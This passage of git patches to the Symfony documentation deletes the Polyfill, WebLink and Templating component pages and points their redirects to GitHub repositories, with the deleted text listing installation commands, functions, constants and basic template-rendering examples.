-.. index::
-    single: Polyfill
-    single: Iconv
-    single: Components; Polyfill
-
-The Symfony Polyfill / Iconv Component
-======================================
-
-    This component provides a native PHP implementation of the ``iconv_*``
-    functions to users who run PHP versions without the ``iconv`` extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-iconv
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-constants and functions, no matter if the `PHP iconv extension`_ is installed or
-not in your server. The only function not implemented in this component is
-:phpfunction:`ob_iconv_handler`.
-
-Provided Constants
-~~~~~~~~~~~~~~~~~~
-
-* ``ICONV_IMPL`` (value = ``'Symfony'``)
-* ``ICONV_VERSION`` (value = ``'1.0'``)
-* ``ICONV_MIME_DECODE_STRICT`` (value = ``1``)
-* ``ICONV_MIME_DECODE_CONTINUE_ON_ERROR`` (value = ``2``)
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-These functions are always available:
-
-* :phpfunction:`iconv`
-* :phpfunction:`iconv_get_encoding`
-* :phpfunction:`iconv_set_encoding`
-* :phpfunction:`iconv_mime_encode`
-* :phpfunction:`iconv_mime_decode_headers`
-
-These functions are only available when the ``mbstring`` or the ``xml``
-extension are installed:
-
-* :phpfunction:`iconv_strlen`
-* :phpfunction:`iconv_strpos`
-* :phpfunction:`iconv_strrpos`
-* :phpfunction:`iconv_substr`
-* :phpfunction:`iconv_mime_decode`
-
-.. _`PHP iconv extension`: https://secure.php.net/manual/en/book.iconv.php
diff --git a/components/polyfill_intl_grapheme.rst b/components/polyfill_intl_grapheme.rst
deleted file mode 100644
index cb5b020c59b..00000000000
--- a/components/polyfill_intl_grapheme.rst
+++ /dev/null
@@ -1,58 +0,0 @@
-.. index::
-    single: Polyfill
-    single: Intl
-    single: Components; Polyfill
-
-The Symfony Polyfill / Intl Grapheme Component
-==============================================
-
-    This component provides a partial, native PHP implementation of the
-    ``grapheme_*`` functions to users who run PHP versions without the ``intl``
-    extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-intl-grapheme
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-constants and functions, no matter if the `PHP intl extension`_ is installed or
-not in your server.
-
-Provided Constants
-~~~~~~~~~~~~~~~~~~
-
-* ``GRAPHEME_EXTR_COUNT`` (value = ``0``)
-* ``GRAPHEME_EXTR_MAXBYTES`` (value = ``1``)
-* ``GRAPHEME_EXTR_MAXCHARS`` (value = ``2``)
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`grapheme_extract`
-* :phpfunction:`grapheme_stripos`
-* :phpfunction:`grapheme_stristr`
-* :phpfunction:`grapheme_strlen`
-* :phpfunction:`grapheme_strpos`
-* :phpfunction:`grapheme_strripos`
-* :phpfunction:`grapheme_strrpos`
-* :phpfunction:`grapheme_strstr`
-* :phpfunction:`grapheme_substr`
-
-.. seealso::
-
-    Symfony provides more polyfills for other classes and functions related to
-    the Intl PHP extension:
-    :doc:`polyfill-intl-icu </components/polyfill_intl_icu>`,
-    :doc:`polyfill-intl-idn </components/polyfill_intl_idn>`,
-    :doc:`polyfill-intl-messageformatter </components/polyfill_intl_messageformatter>`,
-    and :doc:`polyfill-intl-normalizer </components/polyfill_intl_normalizer>`.
-
-.. _`PHP intl extension`: https://secure.php.net/manual/en/book.intl.php
diff --git a/components/polyfill_intl_icu.rst b/components/polyfill_intl_icu.rst
deleted file mode 100644
index a00fb7ed35c..00000000000
--- a/components/polyfill_intl_icu.rst
+++ /dev/null
@@ -1,54 +0,0 @@
-.. index::
-    single: Polyfill
-    single: ICU
-    single: Components; Polyfill
-
-The Symfony Polyfill / Intl ICU Component
-=========================================
-
-    This component provides a native PHP implementation of several Intl
-    functions and classes to users who run PHP versions without the ``intl``
-    extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-intl-icu
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-classes and functions, no matter if the `PHP intl extension`_ is installed or
-not in your server.
-
-Provided Classes
-~~~~~~~~~~~~~~~~
-
-* :phpclass:`Collator`
-* :phpclass:`IntlDateFormatter`
-* :phpclass:`Locale`
-* :phpclass:`NumberFormatter`
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`intl_error_name`
-* :phpfunction:`intl_get_error_code`
-* :phpfunction:`intl_get_error_message`
-* :phpfunction:`intl_is_failure`
-
-.. seealso::
-
-    Symfony provides more polyfills for other classes and functions related to
-    the Intl PHP extension:
-    :doc:`polyfill-intl-grapheme </components/polyfill_intl_grapheme>`,
-    :doc:`polyfill-intl-idn </components/polyfill_intl_idn>`,
-    :doc:`polyfill-intl-messageformatter </components/polyfill_intl_messageformatter>`,
-    and :doc:`polyfill-intl-normalizer </components/polyfill_intl_normalizer>`.
-
-.. _`PHP intl extension`: https://secure.php.net/manual/en/book.intl.php
diff --git a/components/polyfill_intl_idn.rst b/components/polyfill_intl_idn.rst
deleted file mode 100644
index 9314f0af35b..00000000000
--- a/components/polyfill_intl_idn.rst
+++ /dev/null
@@ -1,43 +0,0 @@
-.. index::
-    single: Polyfill
-    single: IDN
-    single: Components; Polyfill
-
-The Symfony Polyfill / Intl IDN Component
-=========================================
-
-    This component provides a collection of functions related to IDN when the
-    Intl extension is not installed.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-intl-idn
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-functions, no matter if the `PHP intl extension`_ is installed or not in your
-server.
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`idn_to_ascii`
-* :phpfunction:`idn_to_utf8`
-
-.. seealso::
-
-    Symfony provides more polyfills for other classes and functions related to
-    the Intl PHP extension:
-    :doc:`polyfill-intl-grapheme </components/polyfill_intl_grapheme>`,
-    :doc:`polyfill-intl-icu </components/polyfill_intl_icu>`,
-    :doc:`polyfill-intl-messageformatter </components/polyfill_intl_messageformatter>`,
-    and :doc:`polyfill-intl-normalizer </components/polyfill_intl_normalizer>`.
-
-.. _`PHP intl extension`: https://secure.php.net/manual/en/book.intl.php
diff --git a/components/polyfill_intl_messageformatter.rst b/components/polyfill_intl_messageformatter.rst
deleted file mode 100644
index b07533d1e16..00000000000
--- a/components/polyfill_intl_messageformatter.rst
+++ /dev/null
@@ -1,48 +0,0 @@
-.. index::
-    single: Polyfill
-    single: MessageFormatter
-    single: Components; Polyfill
-
-The Symfony Polyfill / Intl MessageFormatter Component
-======================================================
-
-    This component provides a fallback implementation for the ``MessageFormatter``
-    class to users who run PHP versions without the ``intl`` extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-intl-messageformatter
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-classes and functions, no matter if the `PHP intl extension`_ is installed or
-not in your server.
-
-Provided Classes
-~~~~~~~~~~~~~~~~
-
-* :phpclass:`IntlException`
-* :phpclass:`MessageFormatter`
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`msgfmt_format_message`
-
-.. seealso::
-
-    Symfony provides more polyfills for other classes and functions related to
-    the Intl PHP extension:
-    :doc:`polyfill-intl-grapheme </components/polyfill_intl_grapheme>`,
-    :doc:`polyfill-intl-idn </components/polyfill_intl_idn>`,
-    :doc:`polyfill-intl-icu </components/polyfill_intl_icu>`,
-    and :doc:`polyfill-intl-normalizer </components/polyfill_intl_normalizer>`.
-
-.. _`PHP intl extension`: https://secure.php.net/manual/en/book.intl.php
diff --git a/components/polyfill_intl_normalizer.rst b/components/polyfill_intl_normalizer.rst
deleted file mode 100644
index a9c4ae01a32..00000000000
--- a/components/polyfill_intl_normalizer.rst
+++ /dev/null
@@ -1,48 +0,0 @@
-.. index::
-    single: Polyfill
-    single: Normalizer
-    single: Components; Polyfill
-
-The Symfony Polyfill / Intl Normalizer Component
-================================================
-
-    This component provides a fallback implementation for the ``Normalizer``
-    class to users who run PHP versions without the ``intl`` extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-intl-normalizer
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-classes and functions, no matter if the `PHP intl extension`_ is installed or
-not in your server.
-
-Provided Classes
-~~~~~~~~~~~~~~~~
-
-* :phpclass:`Normalizer`
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`normalizer_is_normalized`
-* :phpfunction:`normalizer_normalize`
-
-.. seealso::
-
-    Symfony provides more polyfills for other classes and functions related to
-    the Intl PHP extension:
-    :doc:`polyfill-intl-grapheme </components/polyfill_intl_grapheme>`,
-    :doc:`polyfill-intl-idn </components/polyfill_intl_idn>`,
-    :doc:`polyfill-intl-icu </components/polyfill_intl_icu>`,
-    and :doc:`polyfill-intl-messageformatter </components/polyfill_intl_messageformatter>`.
-
-.. _`PHP intl extension`: https://secure.php.net/manual/en/book.intl.php
diff --git a/components/polyfill_mbstring.rst b/components/polyfill_mbstring.rst
deleted file mode 100644
index 322f1e338fc..00000000000
--- a/components/polyfill_mbstring.rst
+++ /dev/null
@@ -1,76 +0,0 @@
-.. index::
-    single: Polyfill
-    single: Mbstring
-    single: Components; Polyfill
-
-The Symfony Polyfill / Mbstring Component
-=========================================
-
-    This component provides a partial, native PHP implementation for the
-    ``mbstring`` PHP extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-mbstring
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-constants and functions, no matter if the `PHP mbstring extension`_ is installed
-or not in your server.
-
-Provided Constants
-~~~~~~~~~~~~~~~~~~
-
-* ``MB_CASE_UPPER`` (value = ``0``)
-* ``MB_CASE_LOWER`` (value = ``1``)
-* ``MB_CASE_TITLE`` (value = ``2``)
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`mb_check_encoding`
-* :phpfunction:`mb_chr`
-* :phpfunction:`mb_convert_case`
-* :phpfunction:`mb_convert_encoding`
-* :phpfunction:`mb_convert_variables`
-* :phpfunction:`mb_decode_mimeheader`
-* :phpfunction:`mb_decode_numericentity`
-* :phpfunction:`mb_detect_encoding`
-* :phpfunction:`mb_detect_order`
-* :phpfunction:`mb_encode_mimeheader`
-* :phpfunction:`mb_encode_numericentity`
-* :phpfunction:`mb_encoding_aliases`
-* :phpfunction:`mb_get_info`
-* :phpfunction:`mb_http_input`
-* :phpfunction:`mb_http_output`
-* :phpfunction:`mb_internal_encoding`
-* :phpfunction:`mb_language`
-* :phpfunction:`mb_list_encodings`
-* :phpfunction:`mb_ord`
-* :phpfunction:`mb_output_handler`
-* :phpfunction:`mb_parse_str`
-* :phpfunction:`mb_scrub`
-* :phpfunction:`mb_stripos`
-* :phpfunction:`mb_stristr`
-* :phpfunction:`mb_strlen`
-* :phpfunction:`mb_strpos`
-* :phpfunction:`mb_strrchr`
-* :phpfunction:`mb_strrichr`
-* :phpfunction:`mb_strripos`
-* :phpfunction:`mb_strrpos`
-* :phpfunction:`mb_strstr`
-* :phpfunction:`mb_strtolower`
-* :phpfunction:`mb_strtoupper`
-* :phpfunction:`mb_strwidth`
-* :phpfunction:`mb_substitute_character`
-* :phpfunction:`mb_substr_count`
-* :phpfunction:`mb_substr`
-
-.. _`PHP mbstring extension`: https://secure.php.net/manual/en/book.mbstring.php
diff --git a/components/polyfill_php54.rst b/components/polyfill_php54.rst
deleted file mode 100644
index 7c2019a0dba..00000000000
--- a/components/polyfill_php54.rst
+++ /dev/null
@@ -1,33 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / PHP 5.4 Component
-========================================
-
-    This component provides some PHP 5.4 features to applications using earlier
-    PHP versions.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-php54
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-functions, no matter if your PHP version is earlier than PHP 5.4.
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`class_uses`
-* :phpfunction:`hex2bin`
-* :phpfunction:`session_register_shutdown`
-* :phpfunction:`trait_exists`
diff --git a/components/polyfill_php55.rst b/components/polyfill_php55.rst
deleted file mode 100644
index 99650499763..00000000000
--- a/components/polyfill_php55.rst
+++ /dev/null
@@ -1,37 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / PHP 5.5 Component
-========================================
-
-    This component provides some PHP 5.5 features to applications using earlier
-    PHP versions.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-php55
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-functions, no matter if your PHP version is earlier than PHP 5.5.
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`array_column`
-* :phpfunction:`boolval`
-* :phpfunction:`hash_pbkdf2`
-* :phpfunction:`json_last_error_msg`
-* :phpfunction:`password_get_info`
-* :phpfunction:`password_hash`
-* :phpfunction:`password_needs_rehash`
-* :phpfunction:`password_verify`
diff --git a/components/polyfill_php56.rst b/components/polyfill_php56.rst
deleted file mode 100644
index c68e8d46fd8..00000000000
--- a/components/polyfill_php56.rst
+++ /dev/null
@@ -1,37 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / PHP 5.6 Component
-========================================
-
-    This component provides some PHP 5.6 features to applications using earlier
-    PHP versions.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-php56
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-constants and functions, no matter if your PHP version is earlier than PHP 5.6.
-
-Provided Constants
-~~~~~~~~~~~~~~~~~~
-
-* ``LDAP_ESCAPE_FILTER`` (value = ``1``)
-* ``LDAP_ESCAPE_DN`` (value = ``2``)
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`hash_equals`
-* :phpfunction:`ldap_escape`
diff --git a/components/polyfill_php70.rst b/components/polyfill_php70.rst
deleted file mode 100644
index 2169173faf0..00000000000
--- a/components/polyfill_php70.rst
+++ /dev/null
@@ -1,51 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / PHP 7.0 Component
-========================================
-
-    This component provides some PHP 7.0 features to applications using earlier
-    PHP versions.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-php70
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-constants, classes and functions, no matter if your PHP version is earlier than
-PHP 7.0.
-
-Provided Constants
-~~~~~~~~~~~~~~~~~~
-
-* ``PHP_INT_MIN`` (value = ``~PHP_INT_MAX``)
-
-Provided Classes
-~~~~~~~~~~~~~~~~
-
-* :phpclass:`ArithmeticError`
-* :phpclass:`AssertionError`
-* :phpclass:`DivisionByZeroError`
-* :phpclass:`Error`
-* :phpclass:`ParseError`
-* :phpclass:`SessionUpdateTimestampHandlerInterface`
-* :phpclass:`TypeError`
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`error_clear_last`
-* :phpfunction:`intdiv`
-* :phpfunction:`preg_replace_callback_array`
-* :phpfunction:`random_bytes`
-* :phpfunction:`random_int`
diff --git a/components/polyfill_php71.rst b/components/polyfill_php71.rst
deleted file mode 100644
index 1cec61b4fa6..00000000000
--- a/components/polyfill_php71.rst
+++ /dev/null
@@ -1,30 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / PHP 7.1 Component
-========================================
-
-    This component provides some PHP 7.1 features to applications using earlier
-    PHP versions.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-php71
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-functions, no matter if your PHP version is earlier than PHP 7.1.
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`is_iterable`
diff --git a/components/polyfill_php72.rst b/components/polyfill_php72.rst
deleted file mode 100644
index 1a0d0bf87ca..00000000000
--- a/components/polyfill_php72.rst
+++ /dev/null
@@ -1,39 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / PHP 7.2 Component
-========================================
-
-    This component provides some PHP 7.2 features to applications using earlier
-    PHP versions.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-php72
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-constants and functions, no matter if your PHP version is earlier than PHP 7.2.
-
-Provided Constants
-~~~~~~~~~~~~~~~~~~
-
-* ``PHP_OS_FAMILY`` (value = depends on your operating system)
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`sapi_windows_vt100_support` (only on Windows systems)
-* :phpfunction:`spl_object_id`
-* :phpfunction:`stream_isatty`
-* :phpfunction:`utf8_decode`
-* :phpfunction:`utf8_encode`
diff --git a/components/polyfill_php73.rst b/components/polyfill_php73.rst
deleted file mode 100644
index be04e57cb63..00000000000
--- a/components/polyfill_php73.rst
+++ /dev/null
@@ -1,33 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / PHP 7.3 Component
-========================================
-
-    This component provides some PHP 7.3 features to applications using earlier
-    PHP versions.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-php73
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-functions, no matter if your PHP version is earlier than PHP 7.3.
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`is_countable`
-* :phpfunction:`hrtime`
-* :phpfunction:`array_key_first`
-* :phpfunction:`array_key_last`
diff --git a/components/polyfill_uuid.rst b/components/polyfill_uuid.rst
deleted file mode 100644
index 0fd080d39d4..00000000000
--- a/components/polyfill_uuid.rst
+++ /dev/null
@@ -1,57 +0,0 @@
-.. index::
-    single: Polyfill
-    single: PHP
-    single: Components; Polyfill
-
-The Symfony Polyfill / UUID Component
-=====================================
-
-    This component provides ``uuid_*`` functions to users who run PHP versions
-    without the UUID extension.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/polyfill-uuid
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-Once this component is installed in your application, you can use the following
-functions, no matter if the `PHP UUID extension`_ is installed or not in your
-server.
-
-Provided Constants
-~~~~~~~~~~~~~~~~~~
-
-* ``UUID_VARIANT_NCS`` (value = 0)
-* ``UUID_VARIANT_DCE`` (value = 1)
-* ``UUID_VARIANT_MICROSOFT`` (value = 2)
-* ``UUID_VARIANT_OTHER`` (value = 3)
-* ``UUID_TYPE_DEFAULT`` (value = 0)
-* ``UUID_TYPE_TIME`` (value = 1)
-* ``UUID_TYPE_DCE`` (value = 4)
-* ``UUID_TYPE_NAME`` (value = 1)
-* ``UUID_TYPE_RANDOM`` (value = 4)
-* ``UUID_TYPE_NULL`` (value = -1)
-* ``UUID_TYPE_INVALID`` (value = -42)
-
-Provided Functions
-~~~~~~~~~~~~~~~~~~
-
-* :phpfunction:`uuid_create`
-* :phpfunction:`uuid_is_valid`
-* :phpfunction:`uuid_compare`
-* :phpfunction:`uuid_is_null`
-* :phpfunction:`uuid_type`
-* :phpfunction:`uuid_variant`
-* :phpfunction:`uuid_time`
-* :phpfunction:`uuid_mac`
-* :phpfunction:`uuid_parse`
-* :phpfunction:`uuid_unparse`
-
-.. _`PHP UUID extension`: https://pecl.php.net/package/uuid

From 1079fe3a062ec39c93726b3cf6b2f2cad5796851 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 25 May 2020 17:36:54 +0200
Subject: [PATCH 0780/7107] Removed WebLink component docs

---
 _build/redirection_map  |  3 ++-
 components/asset.rst    |  2 +-
 components/web_link.rst | 41 -----------------------------------------
 web_link.rst            |  8 ++------
 4 files changed, 5 insertions(+), 49 deletions(-)
 delete mode 100644 components/web_link.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index b6fad56580f..11201cb98ba 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -399,7 +399,7 @@
 /security/acl_advanced /security/acl
 /security/password_encoding /security
 /weblink /web_link
-/components/weblink /components/web_link
+/components/weblink https://github.com/symfony/web-link
 /frontend/encore/installation-no-flex /frontend/encore/installation
 /http_cache/form_csrf_caching /security/csrf
 /console/logging /console
@@ -499,3 +499,4 @@
 /components/polyfill_php72 https://github.com/symfony/polyfill-php72
 /components/polyfill_php73 https://github.com/symfony/polyfill-php73
 /components/polyfill_uuid https://github.com/symfony/polyfill-uuid
+/components/web_link https://github.com/symfony/web-link
diff --git a/components/asset.rst b/components/asset.rst
index a01a0d3a440..792201a2607 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -401,6 +401,6 @@ Learn more
 ----------
 
 * :doc:`How to manage CSS and JavaScript assets in Symfony applications </frontend>`
-* :doc:`WebLink component </components/web_link>` to preload assets using HTTP/2.
+* :doc:`WebLink component </web_link>` to preload assets using HTTP/2.
 
 .. _`Webpack`: https://webpack.js.org/
diff --git a/components/web_link.rst b/components/web_link.rst
deleted file mode 100644
index 4a89d0c0b48..00000000000
--- a/components/web_link.rst
+++ /dev/null
@@ -1,41 +0,0 @@
-.. index::
-   single: WebLink
-   single: Components; WebLink
-
-The WebLink Component
-======================
-
-    The WebLink component provides tools to manage the ``Link`` HTTP header needed
-    for `Web Linking`_ when using `HTTP/2 Server Push`_ as well as `Resource Hints`_.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/web-link
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-The following example shows the component in action::
-
-    use Symfony\Component\WebLink\GenericLinkProvider;
-    use Symfony\Component\WebLink\HttpHeaderSerializer;
-    use Symfony\Component\WebLink\Link;
-
-    $linkProvider = (new GenericLinkProvider())
-        ->withLink(new Link('preload', '/bootstrap.min.css'));
-
-    header('Link: '.(new HttpHeaderSerializer())->serialize($linkProvider->getLinks()));
-
-    echo 'Hello';
-
-Read the full :doc:`WebLink documentation </web_link>` to learn about all the
-features of the component and its integration with the Symfony framework.
-
-.. _`Web Linking`: https://tools.ietf.org/html/rfc5988
-.. _`HTTP/2 Server Push`: https://tools.ietf.org/html/rfc7540#section-8.2
-.. _`Resource Hints`: https://www.w3.org/TR/resource-hints/
diff --git a/web_link.rst b/web_link.rst
index 9a35230b8db..1c802a518da 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -4,7 +4,7 @@
 Asset Preloading and Resource Hints with HTTP/2 and WebLink
 ===========================================================
 
-Symfony provides native support (via the :doc:`WebLink component </components/web_link>`)
+Symfony provides native support (via the `WebLink`_ component)
 for managing ``Link`` HTTP headers, which are the key to improve the application
 performance when using HTTP/2 and preloading capabilities of modern web browsers.
 
@@ -178,11 +178,7 @@ You can also add links to the HTTP response directly from controllers and servic
         }
     }
 
-.. seealso::
-
-    WebLink can be used :doc:`as a standalone PHP library </components/web_link>`
-    without requiring the entire Symfony framework.
-
+.. _`WebLink`: https://github.com/symfony/web-link
 .. _`HTTP/2 Server Push`: https://tools.ietf.org/html/rfc7540#section-8.2
 .. _`Resource Hints`: https://www.w3.org/TR/resource-hints/
 .. _`Docker installer and runtime for Symfony`: https://github.com/dunglas/symfony-docker

From 9d2313baf9b03ceb8d964ed0742cf6bf74eeef8d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 25 May 2020 23:03:43 +0200
Subject: [PATCH 0781/7107] Removed Templating component docs

---
 _build/redirection_map                    |   9 +-
 components/templating.rst                 | 215 ----------------------
 components/templating/slotshelper.rst     |  87 ---------
 introduction/from_flat_php_to_symfony.rst |   6 +-
 4 files changed, 8 insertions(+), 309 deletions(-)
 delete mode 100644 components/templating.rst
 delete mode 100644 components/templating/slotshelper.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 11201cb98ba..2dba2aee89a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -350,10 +350,10 @@
 /components/routing/hostname_pattern /routing/hostname_pattern
 /components/security/introduction /components/security
 /components/security/index /components/security
-/components/templating/introduction /components/templating
-/components/templating/index /components/templating
-/components/templating/helpers/assetshelper /components/templating/assetshelper
-/components/templating/helpers/slotshelper /components/templating/slotshelper
+/components/templating/introduction https://github.com/symfony/templating
+/components/templating/index https://github.com/symfony/templating
+/components/templating/helpers/assetshelper https://github.com/symfony/templating
+/components/templating/helpers/slotshelper https://github.com/symfony/templating
 /components/translation/introduction /components/translation
 /components/translation/index /components/translation
 /components/var_dumper/introduction /components/var_dumper
@@ -500,3 +500,4 @@
 /components/polyfill_php73 https://github.com/symfony/polyfill-php73
 /components/polyfill_uuid https://github.com/symfony/polyfill-uuid
 /components/web_link https://github.com/symfony/web-link
+/components/templating https://github.com/symfony/templating
diff --git a/components/templating.rst b/components/templating.rst
deleted file mode 100644
index a104ea3e1d8..00000000000
--- a/components/templating.rst
+++ /dev/null
@@ -1,215 +0,0 @@
-.. index::
-   single: Templating
-   single: Components; Templating
-
-The Templating Component
-========================
-
-    The Templating component provides all the tools needed to build any kind
-    of template system.
-
-    It provides an infrastructure to load template files and optionally
-    monitor them for changes. It also provides a concrete template engine
-    implementation using PHP with additional tools for escaping and separating
-    templates into blocks and layouts.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/templating
-
-.. include:: /components/require_autoload.rst.inc
-
-Usage
------
-
-.. seealso::
-
-    This article explains how to use the Templating features as an independent
-    component in any PHP application. Read the article about :doc:`templates </templates>`
-    to learn about how to work with templates in Symfony applications.
-
-The :class:`Symfony\\Component\\Templating\\PhpEngine` class is the entry point
-of the component. It needs a
-template name parser (:class:`Symfony\\Component\\Templating\\TemplateNameParserInterface`)
-to convert a template name to a
-template reference (:class:`Symfony\\Component\\Templating\\TemplateReferenceInterface`).
-It also needs a template loader (:class:`Symfony\\Component\\Templating\\Loader\\LoaderInterface`)
-which uses the template reference to actually find and load the template::
-
-    use Symfony\Component\Templating\Loader\FilesystemLoader;
-    use Symfony\Component\Templating\PhpEngine;
-    use Symfony\Component\Templating\TemplateNameParser;
-
-    $filesystemLoader = new FilesystemLoader(__DIR__.'/views/%name%');
-
-    $templating = new PhpEngine(new TemplateNameParser(), $filesystemLoader);
-
-    echo $templating->render('hello.php', ['firstname' => 'Fabien']);
-
-.. code-block:: html+php
-
-    <!-- views/hello.php -->
-    Hello, <?= $firstname ?>!
-
-The :method:`Symfony\\Component\\Templating\\PhpEngine::render` method parses
-the ``views/hello.php`` file and returns the output text. The second argument
-of ``render`` is an array of variables to use in the template. In this
-example, the result will be ``Hello, Fabien!``.
-
-.. note::
-
-    Templates will be cached in the memory of the engine. This means that if
-    you render the same template multiple times in the same request, the
-    template will only be loaded once from the file system.
-
-The ``$view`` Variable
-----------------------
-
-In all templates parsed by the ``PhpEngine``, you get access to a mysterious
-variable called ``$view``. That variable holds the current ``PhpEngine``
-instance. That means you get access to a bunch of methods that make your life
-easier.
-
-Including Templates
--------------------
-
-The best way to share a snippet of template code is to create a template that
-can then be included by other templates. As the ``$view`` variable is an
-instance of ``PhpEngine``, you can use the ``render()`` method (which was used
-to render the template originally) inside the template to render another template::
-
-    <?php $names = ['Fabien', ...] ?>
-    <?php foreach ($names as $name) : ?>
-        <?= $view->render('hello.php', ['firstname' => $name]) ?>
-    <?php endforeach ?>
-
-Global Variables
-----------------
-
-Sometimes, you need to set a variable which is available in all templates
-rendered by an engine (like the ``$app`` variable when using the Symfony
-Framework). These variables can be set by using the
-:method:`Symfony\\Component\\Templating\\PhpEngine::addGlobal` method and they
-can be accessed in the template as normal variables::
-
-    $templating->addGlobal('ga_tracking', 'UA-xxxxx-x');
-
-In a template:
-
-.. code-block:: html+php
-
-    <p>The google tracking code is: <?= $ga_tracking ?></p>
-
-.. caution::
-
-    The global variables cannot be called ``this`` or ``view``, since they are
-    already used by the PHP engine.
-
-.. note::
-
-    The global variables can be overridden by a local variable in the template
-    with the same name.
-
-Output Escaping
----------------
-
-When you render variables, you should probably escape them so that HTML or
-JavaScript code isn't written out to your page. This will prevent things like
-XSS attacks. To do this, use the
-:method:`Symfony\\Component\\Templating\\PhpEngine::escape` method::
-
-    <?= $view->escape($firstname) ?>
-
-By default, the ``escape()`` method assumes that the variable is outputted
-within an HTML context. The second argument lets you change the context. For
-example, to output something inside JavaScript, use the ``js`` context::
-
-    <?= $view->escape($var, 'js') ?>
-
-The component comes with an HTML and JS escaper. You can register your own
-escaper using the
-:method:`Symfony\\Component\\Templating\\PhpEngine::setEscaper` method::
-
-    $templating->setEscaper('css', function ($value) {
-        // ... all CSS escaping
-
-        return $escapedValue;
-    });
-
-Helpers
--------
-
-The Templating component can be extended via helpers. Helpers are PHP objects
-that provide features useful in a template context. The component has one
-built-in helper:
-
-* :doc:`/components/templating/slotshelper`
-
-Before you can use these helpers, you need to register them using
